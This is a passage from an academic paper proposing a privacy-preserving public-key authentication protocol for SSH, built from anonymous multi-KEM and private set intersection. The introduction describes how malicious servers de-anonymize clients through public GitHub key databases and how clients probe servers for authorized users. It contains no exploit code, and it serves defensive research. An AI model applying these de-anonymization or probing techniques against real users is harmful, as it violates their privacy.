problems lead to tangible privacy violations for SSH users.

In this work we introduce a new public-key authentica-
tion method for SSH that reveals essentially the minimum
possible amount of information. With our new method, the
server learns only whether the client knows the private key
for some authorized public key. If multiple keys are autho-
rized, the server does not learn which one the client used.
The client cannot learn whether the server recognizes public
keys belonging to other users. Unlike traditional SSH authen-
tication, our method is fully deniable. Our new method also
makes it harder for a malicious server to intercept first-use
SSH connections on a large scale.

Our method supports existing SSH keypairs of all standard
flavors — RSA, ECDSA, EdDSA. It does not require users
to generate new key material. As in traditional SSH authenti-
cation, clients and servers can use a mixture of different key
flavors in a single authentication session.

We integrated our new authentication method into
OpenSSH, and found it to be practical and scalable. For a
typical client and server with at most 10 ECDSA/EdDSA
keys each, our protocol requires 9 kB of communication and
12.4 ms of latency. Even for a client with 20 keys and server
with 100 keys, our protocol requires only 12 kB of communi-
cation and 26.7 ms of latency.

1 Introduction
The Secure Shell (SSH) protocol is used by developers for
interacting with remote servers, transmitting files, opening se-
cure tunnels, and updating git repositories. The recommended
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method for authentication in SSH is public-key authentica-
tion [45]. This authentication method requires a client to
generate keypairs and register the public keys with the server.
The server stores, for each user, a list of authorized keys (e.g.,
~/.ssh/authorized_keys).

Figure 1a illustrates how public-key authentication works
in SSH. The client may have public keys for many servers, so
the client advertises its public keys, one at a time. These key
advertisements continue until the server recognizes a public
key contained in the user’s authorized key list. Finally, the
client signs a nonce to prove the ownership of the matching
private key, and the authentication is successful if the server
can verify the signature.

1.1 Privacy Attacks Against SSH Authentication
Unfortunately, SSH’s authentication protocol leaks more in-
formation than required for authentication. First, a server can
learn all of the client’s public keys — even its keys for an-
other server [44, 46, 47] — allowing the server to fingerprint
clients based on their public keys. Second, a client can check
if a (username,public_key) pair is valid for authentication,
even without knowing the corresponding secret key, allowing
the client to probe the server for authorized users. This be-
havior of SSH was known to the developer in 2002, has been
reported in CVE-2016-20012, but not fixed as of May 2022,
for 20 years [35].

Third, a server knows which key has been used in authen-
ticating the current session, allowing the server to track a
specific user’s usage based on their keys, and also prove to
third parties that the user authenticated. Fourth, a malicious
server can intercept a client’s connection, fooling any user
who does not carefully check the server’s public key finger-
print upon first use. In the following, we give more detail on
each of these attacks
Preliminary: building a key-to-id database. It is possi-
ble to build a database that partially maps SSH public keys
to pseudonyms (i.e., usernames on online services). This is
because public services such as Github and Gitlab make all
users’ SSH public keys available to the general public. For ex-
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(a) Normal Authentication. Client advertises its public keys one by one.
When the server recognizes an authorized key, it requests a signature. Au-
thentication succeeds if the signature can be verified.

(b) Attack 1: Client De-anonymization. A malicious server rejects all of the
client’s public-key advertisement. This causes the client to advertise all of
its public keys, under the default client behavior. The server can then use a
key-to-id database to identify pseudonyms of the client, e.g., their Github
username.

(c) Attack 2: User Probing by Client, CVE-2016-20012. A malicious client
obtains a victim’s username and public-key pair from its key-to-id database.
The client guesses or searches for a likely username, then attempts to au-
thenticate to the server by advertising this public-key. The server’s response
reveals whether that public key is authorized for that username.

Figure 1: Illustration of SSH public-key authentication and attacks.
We have not drawn protocol-message arrows for server’s rejections
of public-key advertisements. Client holds multiple private keys, and
the server holds a list of authorized public keys.

ample, the SSH keys used by a Github user torvalds can be
publicly accessed via https://github.com/torvalds.keys.
This feature is available for the user’s convenience, e.g., any-
one can easily authorize a user to their SSH server simply by
knowing their Github username. Consequently, it is possible
to build a database mapping public keys to pseudonyms by
enumerating all usernames on the service [10, 36].

Attack 1: Client De-anonymization. A malicious server
may obtain a list of all available public keys of the client, then
use this list to reveal the client’s identity (pseudonyms on
public services). Figure 1b illustrates how this attack works.
Specifically, the server simply declines all public keys ad-
vertised by the client, so that the client eventually offers all
of its public keys.1 This is because the default behavior of

1The default behavior of an OpenSSH server considers a rejected public-
key advertisement as an authentication failure, and limits the number of such
failures to 6 per connection. However, the server can be configured with
DEFAULT_AUTH_FAIL_MAX=1000 to ensure that the client can advertise all of
its public keys.

the SSH client [39] is to continue advertising all keys until
authentication succeeds.

Colluding servers can identify common users, and any
server can discover the client’s public pseudonyms by con-
sulting a key-to-pseudonym database built from a corpus of
publicly available keys [44, 46, 47].

In particular, Cox [10] built a database containing the public
keys of all Github users, using the Github website function-
ality described above. Later, Valsorda [46] built and publicly
deployed a proof-of-concept de-anonymizing SSH server [47],
driven from this database. The server would decline every
public key offered by the client, until the client exhausted
its set of public keys. The server would check the client’s
keys against the Github key database and print a message
containing the client’s Github username.
Attack 2: User Probing by the Client. A malicious client
can check if a public key is authorized for a username on
the server. Such information, in combination with the key-
to-pseudonym database, can be used by the client to probe
whether a specific user exists on the server. The vulnerability
has been acknowledged by comments in the OpenSSH source
code [40] since May of 2002, and assigned CVE-2016-20012,
but has not been fixed.

Figure 1c illustrates the attack. In particular, a client may
advertise a public key for which it does not know the secret
key. The server gives a different response based on whether
that key is authorized for the give username.

Using this basic attack as a primitive, an attacker can reveal
the identity of a known username on the server by trying
public keys from a database. This attack is especially effective
against users who re-use usernames across different services.
Additionally, an attacker can often obtain the list of users if
the attacker itself has access to the server. In such a case, the
attacker may reveal the Github usernames of all accounts on
the server.
Attack 3: Tracking and Implicating Users via Key-Usage
Patterns. The server knows exactly which public key is used
in each successful authentication. A malicious server can
use this information to track the usage of individual users
or devices based on their keys. As an example, a user may
have multiple keys registered for the server under a single
username, where each key is associated with a different device
(e.g., laptop, desktop, work computer). Then a server can track
the usage patterns for specific devices.

Another example is an SSH account shared among an
anonymous group. Suppose one would like to build an anony-
mous group of open source developers that uses git via SSH
as their source code repository. Anonymity is not possible in
this scenario, since the SSH server learns exactly which key
was used for each commit.

Clients authenticate by signing some data under their pri-
vate key. Signatures are non-repudiable meaning that a sig-
nature is proof that a specific user endorsed a message. The
signature produced in an SSH authentication is thus proof,
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verifiable by anyone, that a particular user connected to a
server. I.e., a client cannot plausibly deny that it connected to
the server. In other online infrastructure (encrypted messag-
ing, email), deniability is understood as a desirable feature,
and therefore it is natural to ask whether deniabiilty can be
extended to SSH authentication.

Attack 4: Intercepting Connections on First Use. This
final attack is an attack on security, not on privacy. Instead of
declining every public key offered by the client (as in Attack
1), a malicious server can accept every key. If an attacker
redirects a client’s SSH traffic to such a server, the client will
wrongly believe that he/she has connected to a different, de-
sired server. Of course, SSH clients verify the server’s public
key in order to prevent such an attack. However, a user who
follows a trust on first use (TOFU) principle may not care-
fully check the server’s public key fingerprint upon the first
connection. This leaves the first connection vulnerable to this
kind of attack.

1.2 Problem Statement and Goal

The unifying problem in the first three attacks is that a server
or a client may obtain more information than is needed for
authentication, such as unrelated public keys held by the client,
the validity of a username-public-key pair on the server, or
the identity of the key (with corresponding proof) used in a
successful authentication.

The SSH community and developers are aware of these
problems [40, 44, 46, 47]. These problems remain because
blocking these information leaks requires either maintaining
site-specific configuration (in the case of Attacks 1 & 2), or
fundamentally changing the protocol (Attacks 3 & 4); see
§1.3.

Since SSH has become an important part of the Internet
infrastructure, it is worth revisiting whether its privacy issues
can be completely eliminated. There have been significant ad-
vances in cryptographic protocols (specifically, protocols for
private set intersection) since SSH was designed. Authentica-
tion approaches based on advanced cryptographic techniques
— which may have previously seemed far-fetched and pro-
hibitively expensive — may now be truly practical.

What would be the appropriate way to reimagine SSH
authentication to resolve these privacy problems? A server
should grant access to a client iff the client holds a secret
key corresponding to one of the public keys that the server
considers authorized. If the authentication mechanism reveals
more information about the participants’ keys than the answer
to this question, there is a potential for violating users’ privacy.

Our work is motivated by the question:

Is it possible for public-key authentication in SSH to
reveal only the bare minimum information?

Our goal is to design an authentication protocol satisfying
the following requirements:

Security. The protocol should not reveal information beyond
what is strictly required for an authentication decision. With-
out extra information, three of the aforementioned privacy
attacks cannot be carried out. Of course, both clients and
servers can learn extra information about each other through
other parts of an SSH interaction (e.g., IP address, software
version, etc). However, we believe there is no reason for the
public-key authentication mechanism itself to contribute to
privacy violations in SSH, enabling aforementioned attacks.
Drop-In Replacement. Some of the attacks that we consider
are inherent to the SSH authentication protocol, and can only
be fixed by introducing a new authentication protocol. Given
this fact, our goal is to mimize the required changes to existing
deployments and user experience. Specifically:

1. The protocol should authenticate clients with respect to
their existing SSH keys — i.e., server/client should not
need to change keys or generate new key material to
use the new protocol. Client and server can negotiate
whether to use the new or old authentication method.

2. Current SSH authentication works seamlessly even when
clients and servers hold keys of many different flavors
(e.g., RSA, (EC)DSA, EdDSA). The new authentication
protocol should also enjoy this property.

3. Clients should be able to benefit from the new protocol
without needing to establish and maintain site-specific
configuration.

1.3 Existing Mitigations and Their Limitations
We have introduced 4 motivating attacks on SSH authentica-
tion. There are several existing techniques to mitigate some
of these attacks, which we briefly discuss below. Some of
the attacks can be fully mitigated, but only at the cost of
site-specific configuration — whereas our proposed protocol
addresses all of the privacy problems simultaneously, and
“out of the box.” Other attacks are more fundamental to the
existing SSH authentication protocol and cannot be mitigated
without changing the protocol.
Configuration-level fixes. Most SSH clients [31, 39, 41] al-
low users to configure which public keys are advertised to
specific sites; this can indeed mitigate Attack 1. This counter-
measure requires manual server-specific configuration to be in
place before a connection, while our proposed approach com-
pletely protects the client’s privacy off-the-shelf. Additionally,
OpenSSH server has a configurable limit on the number of
authentication trials, which is 6 by default (any key advertised
by the client counts as an authentication attempt, regardless
of whether the server accepts the advertisement). This config-
uration cannot nullify the attack because the setup is done at
the server side. In Attack 1, the malicious party is the server,
and can freely change their configuration to launch the attack.

Regarding Attack 2, the SSH protocol allows clients to
optionally and pre-emptively provide a signature alongside a
public key advertisement, rather than advertising a key and
proving identity at a later time. In principle, an SSH server
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could be modified to accept only these kinds of advertise-
ments, so that a client who doesn’t know the correct secret
key cannot learn whether the server recognizes that key. If
both clients and servers employed appropriate configurations
(clients advertising only the “correct” keys to a server and in-
cluding pre-emptive signatures; servers requiring pre-emptive
signatures), then Attacks 1 & 2 would be effectively mitigated.
To the best of our knowledge, no implementation of SSH pro-
vides such a configuration option to the server. In general,
pre-emptive signatures have been discouraged in SSH because
it requires computational effort (signing) for the client which
may be considered wasted when the key is not authorized
by the server. Many SSH design decisions were made when
RSA and (non-EC) DSA were the only available signature
schemes; both of these schemes have expensive signing algo-
rithms. Modern signature schemes based on elliptic curves
are several orders of magntidue faster.

We note that our proposed protocol also requires the client
to expend effort equivalent to signing under each of its keys.
In that sense, our approach would have similar computational
cost to the approach where clients & servers modify their con-
figurations as just described. The advantage of our approach
would not be in its computational cost, but in the fact that it
does not allow anything less than this guarantee of privacy,
while requiring no special site-specific configuration for the
client, and also addressing the other attacks we consider.

Apart from the impact on Attack 2, if a client provides pre-
emptive signatures, the server obtains non-repudiable proof
that a certain user—even a user of a different service, if the
client does not limit its public keys on a per-site basis—has
tried to connect. Our proposed approach improves privacy
while also providing deniability.

Regarding Attack 3, no amount of client/server configura-
tion can provide client anonymity or deniability (hiding from
the server which among the authorized keys was used) since
the protocol fundamentally lacks these properties.

As we previously mentioned, clients can prevent Attack
4 by carefully checking the server’s public key fingerprint
upon first use. Existing SSH authentication can provide no
fallback protection to a client who does not verify the server’s
identity in this way. Looking ahead, our proposed protocol
does not eliminate Attack 4, but makes it harder for the adver-
sarial server, even if the client does not verify the server’s key
fingerprint.

Joint key management. To counter Attack 3, a group of
clients can enjoy anonymity by simply sharing a single secret
key. However, this is not a viable approach when the autho-
rized users do not know each other’s identities. Revocation of
a user from the group is also cumbersome under this kind of
arrangement.

Prior work on anonymous authentication. Many crypto-
graphic primitives promise a combination of anonymity and
authentication. Most notably, ring signatures [42] and their in-

teractive counterpart deniable ring authentication [34] allow
a client to prove that it knows the secret key corresponding
to some public key in a given set of authorized keys, with-
out revealing which key it knows. However, these primitives
fundamentally require the client/prover to know the set of au-
thorized keys, making them a poor fit for SSH authentication.

Other related primitives like group signatures [8] and
anonymous ad-hoc authentication [16] similarly require the
client to know the set of authorized keys. Few methods for
“anonymous authentication” also hide the set of authorized
keys. One notable exception is a secret handshake proto-
col [2] (see also [24–26, 30]), which hides one party’s au-
thentication policy and hides how the other party satisfied the
policy. However, authentication policies for secret handshake
protocols are expressed in terms of credentials issued by a
known central authority — not in terms of user-generated
keypairs. Furthermore, these protocols all require specialized
key material, not simple pre-existing SSH keys. The same
limitations are both true of authentication approaches based
on attribute-based cryptography [23, 29].

1.4 Our Contributions
Our main result is a practical privacy-preserving public-key
authentication method for SSH, with the following features:
Minimum information. Our method leaks almost the bare
minimum information necessary for authentication. Both par-
ties learn whether the client holds a secret key that corre-
sponds to a public key that the server considers authorized. In
addition:

1. The server learns how many keypairs the client has (but
not their flavors; e.g., RSA, ECDSA, etc.).

2. The client learns how many public keys of each flavor
are authorized (and even less information than this for
some flavors).

3. The client learns which of its valid keypairs are autho-
rized by the server. I.e., the only way for a client to know
whether the server authorizes a public key is by knowing
the corresponding secret key.

Compatibility with existing SSH keys. Our method sup-
ports all SSH key flavors currently supported by default in
OpenSSH: RSA, ECDSA, and EdDSA, which account for
99.7% of SSH keys in use today [9].2 All parties can use a
mixture of key flavors in a single authentication attempt.
Threat model and other security properties. Our security
definition considers an adversary who can steal the secret keys
of honest users. After doing so, the adversary can of course
impersonate the user but all past and future authentication
attempts by honest users still reveal only the minimal infor-
mation described above. This property implies both forward
secrecy and deniability [17,18]. Since the server can simulate
its view of the protocol given only the set of authorized keys,

2The other 0.3% of keys are (non-EC) DSA, which our methods can easily
support, but which is now deprecated in OpenSSH.
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the transcript cannot prove anything to an external party. The
protocol is also secure against adaptive corruptions — i.e.,
parties can become compromised even during the execution
of the authentication protocol.

The server cannot convince the client of a successful au-
thentication unless the server explicitly knows one of the
client’s public keys. This feature does not completely prevent
session interception (as in Attack 4) against a client who does
not carefully check the server’s key fingerprint upon first use,
but it adds a barrier to such an attack. Such an attack can only
be targeted to a small number of clients/keys, and not done
on a massive scale.

Finally, we prove security in a model where parties can use
the same SSH keys for both traditional and privacy-preserving
authentication.
Implementation and performance. We built a prototype
implementation of our authentication method, as an extension
of OpenSSH server/client. Our authentication method is prac-
tical and scalable. For a typical client and server, with at most
10 keys each, our protocol requires 9 kB of communication
and 12.4 ms of latency for ECDSA/EdDSA keys, or 13 kB
of communication and 226 ms of latency for RSA-3072 keys.
Even for a client with 20 keys and server with 100 keys, our
protocol requires 12 kB of communication and 26.7 ms of
latency for ECDSA/EdDSA keys, or 54kB of communication
and 300 ms of latency for RSA-3072 keys.
Technical overview. We first introduce a variant of broad-
cast encryption called anonymous multi-KEM. A multi-
KEM ciphertext is generated by running (c,m1, . . . ,mn)←
Enc(pk1, . . . , pkn). Think of the resulting c as a ciphertext
addressed to a collection of public keys pk1, . . . , pkn, where
the owner of pki (who knows the matching ski) can decrypt c
to obtain plaintext mi. The multi-KEM is anonymous if the
ciphertext c leaks only the number of recipient public keys,
but nothing about their identities.

In our authentication protocol, the server generates a multi-
KEM ciphertext c addressed to the set of authorized keys. The
client holds a set of secret keys and decrypts c under each one
to obtain a set of candidate plaintexts. If one of the client’s
keys is authorized, then she and the server will now hold a
common plaintext. To determine whether this is the case, the
parties next run a private set intersection (PSI) protocol on
their sets of plaintexts. The goal of PSI is for parties to learn
the intersection of these sets, but nothing else about these
sets. We use a variant of PSI in which the client learns the
contents of the intersection — i.e., the client learns which of
its keypairs was authorized — while the server learns only
whether the intersection was nonempty.

We show how to construct a single anonymous multi-KEM
scheme that simultaneously supports all standard SSH key
flavors: RSA, (EC)DSA, and EdDSA. We also show how to
modify the leading PSI protocol of Rosulek & Trieu [43] to
allow the server to learn (only) whether the intersection is
nonempty.

1.5 Other Related Work

PSI Variants. Our protocol is a kind of private set intersec-
tion (PSI) where the client cannot include pk in its set without
also knowing the corresponding sk. A closely related PSI
variant is authorized PSI (APSI) [11–13], where the client
cannot include m in its set without also knowing a signature
on m from a certificate authority.

In APSI, the protocol implicitly verifies signatures on the
client’s items, but all of these signatures are with respect to a
single verification key (belonging to the certificate authority)
that all parties know. In the case of RSA signatures, the APSI
protocol can take advantage of the algebraic structure of the
certificate authority’s RSA modulus. Our setting is quite dif-
ferent, since the protocol must authenticate potentially many
RSA keys held by the client, each with different moduli that
the server doesn’t even know, since they are part of the client’s
private input.

In our protocol, the client proves a non-empty intersection
by using a PSI where each item has an associated payload.
Posession of this payload serves as proof of the non-empty
intersection. The idea of associating PSI items with payloads
is common (e.g., [13, 21]) and has even been used previously
as a means of authentication [49]. Our specific combination
of MKEM and PSI to authenticate with respect to a set of
public keys is novel, to the best of our knowledge.

Multi-Encryption and Broadcast Encryption. In broadcast
encryption, a sender addresses a single ciphertext to an ad-hoc
group of public keys. Broadcast encryption was first studied in
[4, 27], where it was observed that there exist techniques that
are more efficient than simply encrypting separately to each
receiver. Much of subsequent work on broadcast encryption
involves other features (e.g., revocation, traitor-tracing) that
are orthogonal to our needs.

We use a simple variant of broadcast encryption that we call
multi-KEM. Multi-KEMs appear implicitly in most construc-
tions of broadcast encryption, but as a high-level technique
and not a well-defined primitive. We require the multi-KEM
to be anonymous [28] (sometimes called key-private [3]),
meaning that the ciphertext hides the set of recipients. We
require a weaker confidentiality property (infeasibility of total
plaintext recovery) than is standard for broadcast encryption,
leading to simpler constructions.

One important technique we use in our multi-KEM con-
struction is encoding RSA ciphertexts as outputs of a polyno-
mial; this technique was used previously in constructions of
broadcast encryption in [19, 50].

2 Preliminaries
Definition 1. Let G generate a cyclic group G of order ℓ.
The gap computational Diffie–Hellman (GapCDH) assump-
tion [38] for G states that it is computationally hard to find
Gab from Ga and Gb, even with an oracle for solving the de-
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cisional Diffie–Hellman problem. More precisely, every PPT
adversary A has negligible probability to win the game:

a,b← [0, ℓ)∩Z
GUESS(X ∈G,Y ∈G,Z ∈G):

return dlogG(X) ·dlogG(Y )
?
= dlogG(Z) mod ℓ

win if A GUESS(·)(Ga,Gb) = Gab

2.1 Signatures
Definition 2. A signature scheme is a collection SS of PPT
algorithms

(pk,sk)← SS.Gen(opts)

s← SS.Sign(sk,m)

v := SS.Verify(pk,m,s)

for opts ∈ SS.OPTS, pk,sk,m,s ∈ {0,1}∗, and v ∈ {0,1},
satisfying correctness: when these algorithms are executed
as above, v = 1 except with negligible probability.

Definition 3. A signature scheme SS satisfies existential un-
forgeability under chosen message attacks (EUF-CMA) if
for all opts ∈ SS.OPTS, every PPT adversary A has negligi-
ble probability of winning the game:

M := {}
(pk∗,sk∗)← SS.Gen(opts)

SIGN(m):
M := M∪{m}
return SS.Sign(sk∗,m)

(m,s)← A SIGN(·)(pk∗)
win if m /∈M∧SS.Verify(pk∗,m,s)

3 Anonymous Multi-KEM
In this section we introduce our encryption abstraction, called
a multi-KEM. Multi-KEM allows a sender to generate a ci-
phertext c addressed to a set of public keys. Each correspond-
ing secret key may decrypt c to a different value. The sender
does not need to choose these values, but she learns them
when encrypting, as in a typical KEM.

Definition 4. A multi-KEM (MKEM) is a collection MKEM
of PPT algorithms

(pk,sk)←MKEM.Gen(opts)

(c,r)←MKEM.Enc({pk1, . . . ,pkn})
m := MKEM.Msg(pk,r)

m′ := MKEM.Dec(sk,c)

for opts ∈MKEM.OPTS and pk,sk,c,r,m,m′ ∈ {0,1}∗, satis-
fying correctness: no adversary can pick public keys to make
decryption fail for an honestly generated key. I.e., for all
opts ∈MKEM.OPTS, every PPT A has negligible probability
of winning the game:

(pk,sk)←MKEM.Gen(opts)
PK← A(pk)
(c,r)←MKEM.Enc({pk}∪PK)
win if MKEM.Msg(pk,r) ̸= MKEM.Dec(sk,c)

Note that instead of having Enc output the set of plaintext
values, we have Enc output some state r, which the sender can
further use to determine one receiver’s output via Msg(pk,r).
This choice of syntax simplifies some parts of our protocol.

We require a relatively mild security definition for a
MKEM. In our eventual protocol, MKEM plaintexts are used
only as inputs to a private set intersection (PSI) protocol. The
PSI protocol exposes to the adversary an oracle for verifying
guesses of MKEM plaintexts — i.e., the adversary learns no
more than whether one of its PSI inputs (guesses) is equal
to one of the honest party’s MKEM plaintexts. Hence, our
security definition requires that total plaintext recovery is in-
feasible, even in the presence of oracles for verifying guesses
of plaintexts (from either MKEM.Dec or MKEM.Msg). We call
this security notion weak chosen ciphertext attack (wCCA)
security.

Definition 5. A multi-KEM MKEM is secure against
weak chosen ciphertext attacks (wCCA) if for all opts ∈
MKEM.OPTS, every PPT adversary A has negligible proba-
bility of winning the game:

R := empty
(pk∗,sk∗)←MKEM.Gen(opts)

ENCRYPT(PK):
(c,r)←MKEM.Enc({pk∗}∪PK)
R[c] := r
return c

GUESS_DEC(c,m):

return MKEM.Dec(sk∗,c) ?
= m

GUESS_MSG(c,pk,m):
if R[c] defined:

return MKEM.Msg(pk,R[c]) ?
= m

(c,m)← A ENCRYPT,GUESS_DEC,GUESS_MSG(pk∗)

win if R[c] defined∧MKEM.Dec(sk∗,c) = m

Note that adversarially chosen public keys can be input to
GUESS_MSG. This models an attack scenario for the eventual
protocol, where the adversary may create a public key related
to an honest user’s key, rather than generating them honestly.
Such related public keys may have related MKEM plaintexts.
However, including GUESS_MSG in this game guarantees that
that checking guesses of these related plaintexts will not be
useful for attacking the protocol.

We additionally require that MKEM ciphertexts leak a
minimal amount about the set of recipient keys. The nature of
the leakage varies by scheme, so we let the leakage function
be a parameter of an MKEM scheme. The leakage function
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parameterizes what a MKEM ciphertext reveals about the
honestly-generated recipient keys, while we assume that the
ciphertext can leak arbitrary information about adversarially
chosen keys. The bound on leakage holds even to adversaries
who know the secret keys of all honestly generated keypairs,
and learn the sender’s state value r:

Definition 6. MKEM is anonymous except for leakage
MKEM.Leak if there is a PPT simulator (AnonSim,AnonView)
such that the following oracles are indistinguishable.

PK∗ := {}
GENERATE(opts):
(pk,sk)←MKEM.Gen(opts)
PK∗ := PK∗∪{pk}
return (pk,sk)

ENCRYPT(PK):
(c,r)←MKEM.Enc(PK)
for pk ∈ PK\PK∗:

M[pk] := MKEM.Dec(r,pk)
return (c,r,M)

PK∗ := {}
SK := empty

GENERATE(opts):
(pk,sk)←MKEM.Gen(opts)
PK∗ := PK∗∪{pk}
SK[pk] = sk
return (pk,sk)

ENCRYPT(PK):
L := MKEM.Leak(PK)
(c,M,v)← AnonSim(L,PK\PK∗)
S := {SK[pk] | pk ∈ PK∩PK∗}
r← AnonView(v,S)
return (c,r,M)

3.1 Joint Security
Existing SSH keypairs are essentially signing keys, but our
new authentication method requires us to treat them as
MKEM keys. In order for the existing uses of these SSH
keys to remain valid, we must consider joint security of an
MKEM and signature scheme using the same keypair.

Definition 7. MKEM is a jointly secure multi-KEM and sig-
nature scheme (MKEMSS) if it satisfies both correctness
definitions (with the same Gen), and is both EUF-CMA and
wCCA secure when the adversary is given the oracles from
both of those games simultaneously. Formally, every PPT
adversary has negligible chance of winning the game:

R,M := {}
(pk∗,sk∗)←MKEM.Gen(opts)

// ENCRYPT, GUESS_DEC, GUESS_MSG as in Definition 5
// SIGN as in Definition 3

(c,m,σ)← A ENCRYPT,GUESS_DEC,GUESS_MSG,SIGN(pk∗)

win if [R[c] defined∧MKEM.Dec(sk∗,c) = m]

∨ [m /∈M∧MKEM.Verify(pk∗,m,σ)]

3.2 Instantiations
We describe MKEMSS constructions for the standard SSH
key flavors: EdDSA, (EC)DSA, and RSA.

3.2.1 EdDSA
EdDSA [5] is a particular way of instantiating Schnorr sig-
natures over twisted Edwards curves such as Ed25519. Let

G be a point on elliptic curve E that generates a subgroup G
of prime order ℓ. Let f be the cofactor of the curve, and let
M ⊆ fZ the set of exponents (to clear cofactors).

The nonce r is chosen deterministically in EdDSA by eval-
uating a PRF, F : {0,1}2λ×{0,1}∗→ Z/ℓZ. The PRF key h
is part of the private key.3 The Schnorr challenge comes from
a random oracle H : E×E×{0,1}∗→ Z/ℓZ.

EdDSA.Gen():
a←M
h←{0,1}2λ

return (Ga,(a,h))

EdDSA.Verify(A,m,(R,s)):

return Gs ?
= R+AH(R,A,m)

EdDSA.Sign((a,h),m):
r := F(h,m)
R := Gr

s := (r+H(R,A,m)a) mod ℓ
return (R,s)

The corresponding multi-KEM is based on elliptic curve
Diffie–Hellman, reusing a single ECDH message for all public
keys. Since Enc does not depend on the public keys at all, it
trivially satisfies the anonymity definition with no leakage.

EdDSA.Enc(PK):
r←M
return (Gr,r)

EdDSA.Msg(pk,r):
return pkr

EdDSA.Dec((a,h),C):
return Ca

We prove the joint security of EdDSA under the GapCDH as-
sumption, using a variant of the well-known proof for Schnorr
signatures. A similar proof of joint security for Schnorr and
Diffie–Hellman was given in [14].

Lemma 8. Any attack A against the joint security of the
MKEMSS EdDSA implies an attack A ′ against the GapCDH
problem. A ′ takes approximately twice the computation of A ,
and

Adv[A ]≤

√
qH

(
Adv[A ′]

P2 +
1
ℓ

)
+

qHqS

ℓ
,

where A makes qH queries to the random oracle H and re-
quests qS signatures.

Proof. See the full version of this work.

The slack in the concrete security bound is common to
security proofs for Schnorr signatures based on the forking-
lemma, and can typically be improved by an analysis in the
stronger generic group model (GGM) [37].

3.2.2 ECDSA

ECDSA is another signature scheme based on ECC, and hence
our multi-KEM for ECDH is essentially the same as the one
for EdDSA. Let E, G, and ℓ be the same as above.

3Implementations compress the two parts of the private key using a PRG.
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ECDSA.Gen():
a← [1, ℓ)∩Z
return (Ga,a)

ECDSA.Enc(PK):
r← [1, ℓ)∩Z
return (Gr,r)

ECDSA.Msg(A,r):
return Ar

ECDSA.Dec(a,C):
return Ca

ECDSA.Sign(a,m):
k← [1, ℓ)∩Z
r := (Gk)x mod ℓ

s := H(m)+ra
k mod ℓ

return (r,s)

ECDSA.Verify(A,m,(r,s)):

if 0≡ rs mod ℓ:
return 0

return r ?
=
(

G
H(m)

s A
r
s

)
x

Unfortunately, all known proofs of ECDSA’s security de-
pend on highly idealized assumptions. Specifically, the con-
version operation (R)x that gets the x-coordinate of a curve
point has to be idealized [20]. Brown [7] proved security in
the Generic Group Model (GGM); a generic group does not
have meaningful x-coordinates, so this implicitly turns (R)x
into a random oracle. Later, Fersch et al. [20] proved security
using only an idealized model for (R)x, without the GGM.

A similar joint encryption and signature scheme was proven
in the GGM [14]. We adapt their result to our scheme (proof
included in the full version):

Lemma 9. If H is collision resistant and zero-finder-resistant,
then ECDSA is a jointly secure MKEMSS in the GGM.

3.2.3 RSA
There are several methods for sampling RSA keypairs, and
we let the opts argument to Gen specify the method of choice.
SSH keypairs use RSASSA-PKCS1-v1_5 signatures [33],
outlined below. To encode the message to be signed, it uses
a padding scheme, PKCSN : {0,1}∗→ Z/NZ, the details of
which are unimportant for our purpose.

RSA.Sign((N,e,d),m):
return PKCSN(m)d

RSA.Verify((N,e),m,s):

return se ?
= PKCSN(m)

It is trivial to construct a KEM for a single recipient by
simply using bare RSA as a trapdoor function. Padding is
both undesirable for anonymity, and unnecessary since the
plaintext is uniformly random in Z/NZ.

RSA.Enc1((N,e)):
r← Z/NZ
return (re mod N,r)

RSA.Dec1((N,e,d),c):
return cd mod N

Constructing an anonymous multi-KEM is non-trivial. Un-
like the Diffie–Hellman approach which works for ECC keys,
RSA encryptions depend on the public key, so a multi-KEM
must generate separate ciphertexts for each recipient. This cre-
ates two problems for anonymity: an individual RSA cipher-
text leaks some information about its public key N, since it is a
number in [0,N), and RSA.Dec must somehow be told which
ciphertext to decrypt for which keypair. We solve the first
problem by encoding the ciphertext into an (approximately)

RSA.Enc(PK):
S := {}
R := empty map
for (N,e) ∈ PK:

c,r← RSA.Enc1((N,e))
R[(N,e)] := r
c0, . . . ,cs(N)−1← ChkN(c)
for i := 0 to s(N)−1:

S := S∪{(H(N,e, i),ci)}
return interpolF(S),R

ChkN(c):
p← [0,22λs(N))∩Z
p′ := p− (p mod N)
c′ := p′+ c
for i := 0 to s(N)−1:

ci := c′ mod 22λ

c′ :=
⌊
c′/22λ

⌋
return c0, . . . ,cs(N)−1

RSA.Msg(pk,R):
return R[pk]

RSA.Dec(sk,C):
N,e,d := sk
for i := 0 to s(N)−1:

ci :=C(H(N,e, i))
c := UnchkN({ci}i)
m := RSA.Dec1(sk,c)
return m

UnchkN(c0, . . . ,cs(N)−1):

c :=
s(N)−1

∑
i=0

22λici

return c mod N

uniformly random integer c′ ∈ [0,22λs(N)), by adding some
padding p′, which is a random multiple of N below 22λs(N).
Here, s(N) =

⌈
ℓ(N)+λ

2λ

⌉
is chosen to lengthen c′ enough to

be almost uniform, while padding it to be a multiple of
2λ bits long, and ℓ(N) is the size of the public key N, so
2ℓ(N)−1 < N < 2ℓ(N).

To handle the second problem, we encode the public-key-
to-ciphertext mapping in a polynomial. Essentially, the sender
generates a polynomial C such that C(pk) = c′ for each key
pk and associated ciphertext c′. The coefficients of the poly-
nomial leak nothing about the pk’s if the c′ values are jointly
pseudorandom. However, this would require a very large field
since RSA keys and ciphertexts are rather large. Instead, our
Multi-KEM sender divides c′ into chunks c0, . . . ,cs(N)−1, each
of size 2λ bits. She then encodes a polynomial C(x) such that
C(H(pk, i)) = ci for each chunk ci, where H is a collision-
resistant hash. Dec then evaluates this polynomial at H(pk, i)
for each i, combines the chunks into a ciphertext c′, and then
decrypts it. We set the chunk size to 2λ bits because H needs
to be a collision resistant hash. The result is polynomial oper-
ations in a field F of order very close to 22λ.

Interpolation of a degree-n polynomial requires Θ(n log2 n)
field operations. Instead of a polynomial, it is possible to use
any oblivious key-value store (OKVS) [22], a generalization of
polynomials. There exist more asymptotically efficient OKVS
constructions, but we found simple polynomial interpolation
to be sufficiently fast for the small set sizes in our setting.

PKCS signatures lack a security reduction to the RSA as-
sumption, so we cannot prove the joint security of RSA based
on (·)e mod N being one-way. However, we can do the next
best thing: prove joint security under the assumption that the
signature scheme is secure.
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Lemma 10. The EUF-CMA security of the RSA signature
scheme implies that RSA is a jointly secure MKEMSS.

Recall that joint security requires that the scheme satisfy
weak-CCA security (Definition 5). In particular, it should be
hard to guess the decapsulation of a KEM ciphertext, even
given an oracle for checking such guesses. In the case of RSA,
the adversary already has the ability to test whether a guess is
correct: To test whether m = cd = RSA.Dec1((N,e,d),c) for
